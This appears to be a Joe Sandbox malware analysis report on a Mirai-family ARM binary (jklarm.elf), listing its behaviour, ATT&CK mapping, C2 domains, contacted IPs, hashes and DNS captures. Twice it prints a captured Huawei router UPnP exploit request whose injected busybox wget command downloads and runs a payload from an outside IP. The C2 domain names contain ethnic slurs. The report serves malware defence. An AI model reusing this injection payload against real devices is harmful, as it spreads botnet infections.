Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/122/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/243/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/123/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/2/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/2/cmdline	Jump to behavior

Source: jklarm.elf, 6224.1.000055918c851000.000055918c97f000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: jklarm.elf, 6224.1.00007fffa447a000.00007fffa449b000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/jklarm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/jklarm.elf
Source: jklarm.elf, 6224.1.000055918c851000.000055918c97f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: jklarm.elf, 6224.1.00007fffa447a000.00007fffa449b000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Source	Detection	Scanner	Label	Link
jklarm.elf	54%	Virustotal		Browse
jklarm.elf	51%	ReversingLabs	Linux.Trojan.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dogeatingchink.uno	195.20.17.237	true	false	2%, Virustotal, Browse	unknown
chinkona.buzz.}dFFPV,)3E 8m-o&E(,l-oM_-o}d:66PV,.3E({w5$R	unknown	unknown	true		unknown
chinkona.buzz.}d566PV,)3E(T&wP5Mj R}dhh)3PV,EZS@@.v_z.acP%wPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authori.ation: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/Dev.ceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnon.e="248d1a2560100669"Content-Length: 461<?xml version="1.0" ?><s:Envelope xmlns:s="http://sche.as.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade.xmlns:u="urn:schemas-upnp-org:se.vice:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /y; /bin.busybox chmod 777 /tmp/fuxi; /tmp/fuxi huawei.</NewStatusURL><NewDownloadURL>$(echo HUA.EIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>}dhh)3PV,	unknown	unknown	true		low
dogeating.monster	unknown	unknown	true		unknown
dogeating.monster.	unknown	unknown	true		unknown
chinkona.buzz.}dn66PV,)3EH(@#Uke_MeP4}dFFPV,)3E8p.7)g}	unknown	unknown	true		unknown
chinkona.buzz.}di&66PV,)3E(925cR}d'JJ)3PV,E<d@@	unknown	unknown	true		unknown
chinkona.buzz	unknown	unknown	true		unknown
chinkona.buzz.}d/h66PV,)3E(vy5R}dhJJ)3PV,E<f@@	unknown	unknown	true		low

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	jklarm.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	jklarm.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
134.28.103.181	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
41.77.181.115	unknown	Algeria	36974	AFNET-ASCI	false
197.75.183.160	unknown	South Africa	16637	MTNNS-ASZA	false
136.71.254.120	unknown	United States	60311	ONEFMCH	false
167.97.33.10	unknown	United States	2055	LSU-1US	false
217.143.5.228	unknown	Sweden	16253	BORDERLIGHT-ASVretgrand18SE	false
41.102.161.66	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.133.63.62	unknown	South Africa	10474	OPTINETZA	false
41.35.82.70	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.6.201.7	unknown	Tunisia	5438	ATI-TN	false
94.224.166.153	unknown	Belgium	6848	TELENET-ASBE	false
41.140.123.146	unknown	Morocco	36903	MT-MPLSMA	false
197.149.52.176	unknown	Madagascar	37054	Telecom-MalagasyMG	false
41.87.198.40	unknown	South Africa	37315	CipherWaveZA	false
178.92.125.242	unknown	Ukraine	6849	UKRTELNETUA	false
83.194.238.218	unknown	France	3215	FranceTelecom-OrangeFR	false
93.13.227.88	unknown	France	15557	LDCOMNETFR	false
115.201.41.152	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.60.37.71	unknown	Mauritius	30969	ZOL-ASGB	false
41.87.198.29	unknown	South Africa	37315	CipherWaveZA	false
209.85.202.183	unknown	United States	15169	GOOGLEUS	false
96.182.203.134	unknown	United States	7922	COMCAST-7922US	false
197.86.54.113	unknown	South Africa	10474	OPTINETZA	false
186.180.66.210	unknown	Colombia	27831	ColombiaMovilCO	false
197.86.54.115	unknown	South Africa	10474	OPTINETZA	false
157.3.239.214	unknown	Japan	7671	MCNETNTTSmartConnectCorporationJP	false
72.194.151.124	unknown	United States	31803	MMPLPUS	false
68.54.35.205	unknown	United States	7922	COMCAST-7922US	false
156.134.164.83	unknown	United States	27174	UNASSIGNED	false
75.99.226.97	unknown	United States	6128	CABLE-NET-1US	false
157.126.102.226	unknown	United States	1738	OKOBANK-ASEU	false
104.169.169.5	unknown	United States	5650	FRONTIER-FRTRUS	false
14.140.38.225	unknown	India	4755	TATACOMM-ASTATACommunicationsformerlyVSNLisLeadingISP	false
157.162.143.55	unknown	Germany	22192	SSHENETUS	false
197.43.225.168	unknown	Egypt	8452	TE-ASTE-ASEG	false
213.49.139.198	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
41.5.41.246	unknown	South Africa	29975	VODACOM-ZA	false
157.187.216.196	unknown	United States	668	DNIC-AS-00668US	false
222.168.218.47	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
37.202.175.73	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
157.214.20.141	unknown	United States	4704	SANNETRakutenMobileIncJP	false
221.208.7.209	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.55.123.233	unknown	Egypt	8452	TE-ASTE-ASEG	false
31.134.158.140	unknown	Russian Federation	42668	NEVALINK-ASRU	false
181.204.131.179	unknown	Colombia	27831	ColombiaMovilCO	false
197.4.54.24	unknown	Tunisia	5438	ATI-TN	false
138.250.252.35	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
122.19.13.251	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
75.239.165.72	unknown	United States	22394	CELLCOUS	false
121.145.79.79	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
118.201.110.236	unknown	Singapore	3758	SINGNETSingNetSG	false
197.12.117.160	unknown	Tunisia	37703	ATLAXTN	false
94.66.233.252	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
86.91.129.128	unknown	Netherlands	1136	KPNKPNNationalEU	false
197.73.219.200	unknown	South Africa	16637	MTNNS-ASZA	false
176.125.175.123	unknown	Russian Federation	196739	USPEKH-ASRU	false
41.248.235.177	unknown	Morocco	36903	MT-MPLSMA	false
129.84.168.236	unknown	United States	792	ORACLE-ASNBLOCK-ASNUS	false
83.229.251.119	unknown	Russian Federation	6854	SYNTERRA-ASRU	false
186.98.225.150	unknown	Colombia	701	UUNETUS	false
199.134.57.226	unknown	United States	4152	USDA-1US	false
186.226.163.85	unknown	Brazil	53180	InfortelTelecomunicacoeseServicosEIRELI-MEBR	false
98.60.86.93	unknown	United States	7922	COMCAST-7922US	false
41.57.232.64	unknown	Ghana	37103	BUSYINTERNETGH	false
197.101.109.104	unknown	South Africa	3741	ISZA	false
197.55.123.247	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.61.32.134	unknown	United Kingdom	39400	LBH-ASCountyCouncilGB	false
179.39.153.32	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
41.68.96.101	unknown	Egypt	24835	RAYA-ASEG	false
41.240.109.221	unknown	Sudan	36998	SDN-MOBITELSD	false
157.133.85.69	unknown	United States	206277	SAP_DC_DXBAE	false
157.57.242.33	unknown	United States	3598	MICROSOFT-CORP-ASUS	false
197.43.225.190	unknown	Egypt	8452	TE-ASTE-ASEG	false
60.20.155.119	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.73.132.122	unknown	South Africa	16637	MTNNS-ASZA	false
157.146.162.182	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
121.112.239.202	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
157.252.160.113	unknown	United States	3592	TRINCOLL-ASUS	false
86.233.155.54	unknown	France	3215	FranceTelecom-OrangeFR	false
197.0.175.4	unknown	Tunisia	37705	TOPNETTN	false
41.77.181.140	unknown	Algeria	36974	AFNET-ASCI	false
181.251.166.95	unknown	Colombia	26611	COMCELSACO	false
166.141.106.71	unknown	United States	22394	CELLCOUS	false
144.194.120.176	unknown	Canada	20221	IATACA	false
105.74.194.174	unknown	Morocco	36884	MAROCCONNECTMA	false
173.70.44.62	unknown	United States	701	UUNETUS	false
157.143.192.4	unknown	United States	16922	OUHSC-EDUUS	false
116.207.62.113	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.202.209.150	unknown	Algeria	36947	ALGTEL-ASDZ	false
45.223.27.22	unknown	United States	19551	INCAPSULAUS	false
67.55.75.122	unknown	United States	27257	WEBAIR-INTERNETUS	false
9.32.52.174	unknown	United States	3356	LEVEL3US	false
40.58.189.162	unknown	United States	4249	LILLY-ASUS	false
79.31.157.7	unknown	Italy	3269	ASN-IBSNAZIT	false
91.60.221.212	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
52.53.23.51	unknown	United States	16509	AMAZON-02US	false
157.247.33.219	unknown	Austria	8447	TELEKOM-ATA1TelekomAustriaAGAT	false
197.173.155.15	unknown	South Africa	37168	CELL-CZA	false
157.42.153.15	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.15.151.181	unknown	unknown	2512	TCP-NETTCPIncJP	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.35.82.70	3X5qPN65iQ	Get hash	malicious	Gafgyt, Mirai	Browse
	uvinxhoxuy	Get hash	malicious	Mirai	Browse
	4QpvoX8qYS	Get hash	malicious	Mirai	Browse
41.77.181.115	jklx86-20230226-1650.elf	Get hash	malicious	Mirai	Browse
	kQhLxBYJGw.elf	Get hash	malicious	Mirai	Browse
	2u506FrjKq.elf	Get hash	malicious	Mirai, Moobot	Browse
	1nHVSTHqyo	Get hash	malicious	Gafgyt, Mirai	Browse
	7zk4advoge	Get hash	malicious	Gafgyt, Mirai	Browse
197.6.201.7	home.arm7-20220725-1455	Get hash	malicious	Mirai	Browse
	UnHAnaAW.spc	Get hash	malicious	Mirai	Browse
	UnHAnaAW.x86	Get hash	malicious	Mirai	Browse
197.75.183.160	0eTIufIcBc	Get hash	malicious	Mirai	Browse
197.75.183.160	b0lo2zplBj	Get hash	malicious	Mirai	Browse
41.102.161.66	z9JDklwHSk.elf	Get hash	malicious	Mirai	Browse
41.102.161.66	vwmbfKCK73.elf	Get hash	malicious	Mirai	Browse
41.133.63.62	arm7-20230303-1520.elf	Get hash	malicious	Mirai, Moobot	Browse
	TskQ5os77Z.elf	Get hash	malicious	Mirai, Moobot	Browse
	qN4tOGAgvW	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.BackDoor.Tsunami.970.3006.9678	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dogeatingchink.uno	jklarm7.elf	Get hash	malicious	Mirai	Browse	195.20.17.237
	uUtYco6Ty4.elf	Get hash	malicious	Mirai	Browse	195.20.17.237
	znRL8YPhwj.elf	Get hash	malicious	Mirai	Browse	185.254.37.236
	jklarm7-20230226-1650.elf	Get hash	malicious	Mirai	Browse	185.254.37.236
	jklarm.elf	Get hash	malicious	Mirai	Browse	172.104.253.159
	z0VRfKktZo.elf	Get hash	malicious	Mirai	Browse	85.209.134.96
	eOKWFR38tO.elf	Get hash	malicious	Mirai	Browse	185.254.37.236
	qf2zCx0Y9y.elf	Get hash	malicious	Mirai	Browse	45.12.253.12
	20ZCieiwwJ.elf	Get hash	malicious	Mirai	Browse	45.12.253.12
	jOXiR3R48P.elf	Get hash	malicious	Mirai	Browse	45.12.253.12
	uekXXxUc43.elf	Get hash	malicious	Mirai	Browse	45.12.253.12
	G7APAyIs9a.elf	Get hash	malicious	Mirai	Browse	45.12.253.12
	3L7By8x8KC.elf	Get hash	malicious	Mirai	Browse	157.230.220.122
	uH2CNPK47a.elf	Get hash	malicious	Mirai	Browse	157.230.220.122
	A6De2hiUgN.elf	Get hash	malicious	Unknown	Browse	138.68.65.48
	ZRCgFdio2a.elf	Get hash	malicious	Mirai	Browse	185.225.16.43
	jklarm7.elf	Get hash	malicious	Mirai	Browse	157.245.102.148
	jklarm.elf	Get hash	malicious	Unknown	Browse	157.245.102.148

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	7Ax7iAsoB9.elf	Get hash	malicious	Mirai	Browse	141.35.148.251
	YNOiamVgDZ.elf	Get hash	malicious	Mirai	Browse	139.22.127.187
	jXEFad27et.elf	Get hash	malicious	Mirai	Browse	137.250.99.92
	laMYwmfilw.elf	Get hash	malicious	Mirai	Browse	130.183.190.6
	phantom.arm.elf	Get hash	malicious	Mirai	Browse	128.176.72.7
	mpsl-20230304-1150.elf	Get hash	malicious	Mirai, Moobot	Browse	131.235.233.125
	12VpS0OsFI.elf	Get hash	malicious	Mirai, Moobot	Browse	141.88.51.230
	8lMimaqpwq.elf	Get hash	malicious	Mirai	Browse	141.61.172.128
	arm-20230303-1520.elf	Get hash	malicious	Mirai, Moobot	Browse	140.181.70.42
	prp7XMI6N5.elf	Get hash	malicious	Mirai, Moobot	Browse	212.201.98.71
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	134.245.63.81
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	137.250.177.26
	sora.arm.elf	Get hash	malicious	Mirai	Browse	141.65.254.33
	y9L0gvP67R.elf	Get hash	malicious	Mirai	Browse	141.46.244.247
	Nk3MtNMHZl.elf	Get hash	malicious	Mirai	Browse	141.65.229.76
	L65kvYVKYM.elf	Get hash	malicious	Mirai	Browse	134.245.75.31
	https://photoncloud.com/khj0o	Get hash	malicious	Unknown	Browse	141.95.243.209
	https://thebitrevolution.com/hzl4l	Get hash	malicious	Unknown	Browse	141.95.243.209
	http://s953497062.onlinehome.us/fixit?_recovrAccount	Get hash	malicious	Unknown	Browse	141.95.33.111
	UYRnKOA2eX.elf	Get hash	malicious	Mirai	Browse	141.63.40.181
AFNET-ASCI	jklarm7.elf	Get hash	malicious	Mirai	Browse	41.77.181.178
	phantom.arm.elf	Get hash	malicious	Mirai	Browse	196.182.137.174
	x86_64-20230304-1149.elf	Get hash	malicious	Mirai, Moobot	Browse	197.231.215.5
	Lhy0XRjSeB.elf	Get hash	malicious	Mirai, Moobot	Browse	41.190.177.113
	4BFoB3iII4.elf	Get hash	malicious	Mirai, Moobot	Browse	197.155.211.216
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	197.149.159.235
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.74.104.194
	53X9anoB93.elf	Get hash	malicious	Mirai, Moobot	Browse	154.234.230.50
	arm7-20230304-0355.elf	Get hash	malicious	Mirai, Moobot	Browse	41.215.195.254
	mpsl-20230304-0355.elf	Get hash	malicious	Mirai, Moobot	Browse	41.245.65.176
	bok.arm7-20230304-0316.elf	Get hash	malicious	Mirai	Browse	102.139.101.42
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	41.78.160.20
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	41.77.181.169
	arm7-20230303-1520.elf	Get hash	malicious	Mirai, Moobot	Browse	41.191.191.221
	a1YBTRHO2O.elf	Get hash	malicious	Mirai, Moobot	Browse	41.206.243.186
	UalpsKXVya.elf	Get hash	malicious	Mirai, Moobot	Browse	41.209.184.202
	RtuIK4i7C7.elf	Get hash	malicious	Mirai, Moobot	Browse	41.245.17.240
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	41.245.65.189
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.219.218.241
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	197.231.214.203

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report jklarm.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0Ch9t9 (deleted)

/tmp/qemu-open.0CiLB7 (deleted)

/tmp/qemu-open.0P9hM6 (deleted)

/tmp/qemu-open.0SzPf6 (deleted)

/tmp/qemu-open.0T5rY6 (deleted)

/tmp/qemu-open.0iWL59 (deleted)

/tmp/qemu-open.0oj799 (deleted)

/tmp/qemu-open.0rZW47 (deleted)

/tmp/qemu-open.0vRGq8 (deleted)

/tmp/qemu-open.0vcNY9 (deleted)

/tmp/qemu-open.0vsKM8 (deleted)

/tmp/qemu-open.10IuPa (deleted)

/tmp/qemu-open.1G0qk8 (deleted)

/tmp/qemu-open.1RDaQ7 (deleted)

/tmp/qemu-open.1bWrO9 (deleted)

/tmp/qemu-open.1g6wE9 (deleted)

/tmp/qemu-open.1gGWZ8 (deleted)

/tmp/qemu-open.27pQK6 (deleted)

/tmp/qemu-open.2AbAS8 (deleted)

/tmp/qemu-open.2OxDa8 (deleted)

/tmp/qemu-open.2orHza (deleted)

/tmp/qemu-open.2yLux7 (deleted)

/tmp/qemu-open.33Zhb7 (deleted)

/tmp/qemu-open.33tnE6 (deleted)

/tmp/qemu-open.35HDca (deleted)

/tmp/qemu-open.35MgL9 (deleted)

/tmp/qemu-open.3SkVy9 (deleted)

Linux Analysis Report
jklarm.elf

Process:	/tmp/jklarm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	266
Entropy (8bit):	3.40810627321569
Encrypted:	false
SSDEEP:	6:uIgDFkXILAJ+S/VWDFkXILAJ8X6/VjmsVot/VOArB/VH:4ems+Nems8Zl
MD5:	68A41D4D8E2601360BA83A327C1FA13B
SHA1:	0D1A5096DCB3AD22F8062E4C045228D12510B036
SHA-256:	E0BF8C1C5A1E3ADDCAB675C4886C711C0A21B353C9B71EE7156C5114A25191B8
SHA-512:	8AF6EB651F005F58134D624FC6D36F16BED1D87B4C7E54D2620B32DBAC1362FD73C356D3A348A1156A9775AAEED5468B86BEAC633F096574A9F5BFA3240DE316
Malicious:	false
Reputation:	low
Preview:	8000-17000 r-xp 00000000 fd:00 531606 /tmp/jklarm.elf.1f000-20000 rw-p 0000f000 fd:00 531606 /tmp/jklarm.elf.20000-21000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.007585782886132
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	jklarm.elf
File size:	62636
MD5:	b11280988583d53cb1091e3183a0700e
SHA1:	d80dc853d0d47b497532070c63ea6138c4e9cbb3
SHA256:	be997eeae35a51b770182258ead9cbe119e3e5c014f87a7c0bce259bf12bc623
SHA512:	c4c0f2ad64d1105fcd97beda8bfd3950133a4e7a4e1d0b2b5367d4adf1eb3390c868006e9eb282f56a76fc960c10b0f591989a0a8a086611b3e27dce4b48fd41
SSDEEP:	1536:YsfchJbzun57Rsrcc/84RdPjt5KqySQI7dH:YsfcWRsYLS7bHy1sdH
TLSH:	AA532895BCD29A16C5D022B7FA2E518D372663B8D2DF3203DD222F11778A81F0E67645
File Content Preview:	.ELF...a..........(.........4...........4. ...(.........................................................d...........Q.td..................................-...L."....6..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xdac0	0x0	0x6	AX	16
.fini	PROGBITS	0x15b70	0xdb70	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x15b84	0xdb84	0xf58	0x0	0x2	A	4
.ctors	PROGBITS	0x1f000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x1f008	0xf008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x1f010	0xf010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x1f014	0xf014	0x29c	0x0	0x3	WA	4
.bss	NOBITS	0x1f2b0	0xf2b0	0x2b4	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0xf2b0	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xeadc	0xeadc	6.1038	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xf000	0x1f000	0x1f000	0x2b0	0x564	3.6462	0x6	RW	0x8000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 4, 2023 18:19:32.423707008 CET	192.168.2.23	8.8.8.8	0x71e0	Standard query (0)	chinkona.buzz	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:32.450839996 CET	192.168.2.23	8.8.8.8	0x71e0	Standard query (0)	chinkona.buzz	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:32.467989922 CET	192.168.2.23	8.8.8.8	0x71e0	Standard query (0)	chinkona.buzz	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:32.487968922 CET	192.168.2.23	8.8.8.8	0x71e0	Standard query (0)	chinkona.buzz	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:32.512655973 CET	192.168.2.23	8.8.8.8	0x71e0	Standard query (0)	chinkona.buzz	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:39.533843994 CET	192.168.2.23	8.8.8.8	0xb1d1	Standard query (0)	dogeating.monster.	256	427	false
Mar 4, 2023 18:19:39.555145979 CET	192.168.2.23	8.8.8.8	0xb1d1	Standard query (0)	dogeating.monster.	256	427	false
Mar 4, 2023 18:19:44.558370113 CET	192.168.2.23	8.8.8.8	0xb1d1	Standard query (0)	dogeating.monster.	256	432	false
Mar 4, 2023 18:19:44.577239037 CET	192.168.2.23	8.8.8.8	0xb1d1	Standard query (0)	dogeating.monster.	256	432	false
Mar 4, 2023 18:19:44.594132900 CET	192.168.2.23	8.8.8.8	0xb1d1	Standard query (0)	dogeating.monster.	256	432	false
Mar 4, 2023 18:19:46.612392902 CET	192.168.2.23	8.8.8.8	0x9e52	Standard query (0)	chinkona.buzz.}dn66PV,)3EH(@#Uke_MeP4}dFFPV,)3E8p.7)g}	43010	5899	false
Mar 4, 2023 18:19:46.629492998 CET	192.168.2.23	8.8.8.8	0x9e52	Standard query (0)	chinkona.buzz.}dFFPV,)3E 8m-o&E(,l-oM_-o}d:66PV,.3E({w5$R	0	178	false
Mar 4, 2023 18:19:46.648468971 CET	192.168.2.23	8.8.8.8	0x9e52	Standard query (0)	chinkona.buzz.}di&66PV,)3E(925cR}d'JJ)3PV,E<d@@	32192	43010	false
Mar 4, 2023 18:19:46.665374041 CET	192.168.2.23	8.8.8.8	0x9e52	Standard query (0)	chinkona.buzz.}d/h66PV,)3E(vy5R}dhJJ)3PV,E<f@@	31680	43010	false
Mar 4, 2023 18:19:46.682197094 CET	192.168.2.23	8.8.8.8	0x9e52	Standard query (0)	chinkona.buzz.}d566PV,)3E(T&wP5Mj R}dhh)3PV,EZS@@.v_z.acP%wPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authori.ation: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/Dev.ceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnon.e="248d1a2560100669"Content-Length: 461<?xml version="1.0" ?><s:Envelope xmlns:s="http://sche.as.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade.xmlns:u="urn:schemas-upnp-org:se.vice:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /y; /bin.busybox chmod 777 /tmp/fuxi; /tmp/fuxi huawei.</NewStatusURL><NewDownloadURL>$(echo HUA.EIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>}dhh)3PV,	17664	858	false
Mar 4, 2023 18:19:49.702301979 CET	192.168.2.23	8.8.8.8	0xc2a9	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:49.723387957 CET	192.168.2.23	8.8.8.8	0xc2a9	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:49.742657900 CET	192.168.2.23	8.8.8.8	0xc2a9	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:49.781143904 CET	192.168.2.23	8.8.8.8	0xc2a9	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:49.802371979 CET	192.168.2.23	8.8.8.8	0xc2a9	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:59.821628094 CET	192.168.2.23	8.8.8.8	0xcd2e	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:59.839047909 CET	192.168.2.23	8.8.8.8	0xcd2e	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:59.860341072 CET	192.168.2.23	8.8.8.8	0xcd2e	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
Mar 4, 2023 18:19:59.879633904 CET	192.168.2.23	8.8.8.8	0xcd2e	Standard query (0)	dogeating.monster	A (IP address)	IN (0x0001)	false
